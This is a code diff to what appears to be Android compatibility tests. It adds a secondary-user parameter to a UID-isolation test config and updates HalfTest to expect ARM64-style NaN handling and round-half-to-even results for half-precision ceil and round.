diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml
index 3f98221b91e..195ebd06bb3 100644
--- a/tests/tests/uidisolation/AndroidTest.xml
+++ b/tests/tests/uidisolation/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/util/src/android/util/cts/HalfTest.java b/tests/tests/util/src/android/util/cts/HalfTest.java
index 62662d012a5..ae085805ff1 100644
--- a/tests/tests/util/src/android/util/cts/HalfTest.java
+++ b/tests/tests/util/src/android/util/cts/HalfTest.java
@@ -256,6 +256,13 @@ public class HalfTest {
assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.7f))), 1e-6f);
assertEquals(125.0f, toFloat(Half.ceil(toHalf(124.2f))), 1e-6f);
assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.2f))), 1e-6f);
+ // ceil for NaN values
+ // These tests check whether the current ceil implementation achieves
+ // bit level compatibility with the hardware implementation (ARM64).
+ assertShortEquals((short) 0x7e01, Half.ceil((short) 0x7c01));
+ assertShortEquals((short) 0x7f00, Half.ceil((short) 0x7d00));
+ assertShortEquals((short) 0xfe01, Half.ceil((short) 0xfc01));
+ assertShortEquals((short) 0xff00, Half.ceil((short) 0xfd00));
}
@Test
@@ -340,12 +347,23 @@ public class HalfTest {
assertShortEquals(NEGATIVE_ZERO, Half.round(toHalf(-0.2f)));
assertEquals(1.0f, toFloat(Half.round(toHalf(0.7f))), 1e-6f);
assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.7f))), 1e-6f);
- assertEquals(1.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f);
- assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f);
+ assertEquals(0.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f);
+ assertEquals(-0.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f);
+ assertEquals(2.0f, toFloat(Half.round(toHalf(1.5f))), 1e-6f);
+ assertEquals(-2.0f, toFloat(Half.round(toHalf(-1.5f))), 1e-6f);
+ assertEquals(1022.0f, toFloat(Half.round(toHalf(1022.5f))), 1e-6f);
+ assertEquals(-1022.0f, toFloat(Half.round(toHalf(-1022.5f))), 1e-6f);
assertEquals(125.0f, toFloat(Half.round(toHalf(124.7f))), 1e-6f);
assertEquals(-125.0f, toFloat(Half.round(toHalf(-124.7f))), 1e-6f);
assertEquals(124.0f, toFloat(Half.round(toHalf(124.2f))), 1e-6f);
assertEquals(-124.0f, toFloat(Half.round(toHalf(-124.2f))), 1e-6f);
+ // round for NaN values
+ // These tests check whether the current round implementation achieves
+ // bit level compatibility with the hardware implementation (ARM64).
+ assertShortEquals((short) 0x7e01, Half.round((short) 0x7c01));
+ assertShortEquals((short) 0x7f00, Half.round((short) 0x7d00));
+ assertShortEquals((short) 0xfe01, Half.round((short) 0xfc01));
+ assertShortEquals((short) 0xff00, Half.round((short) 0xfd00));
}
@Test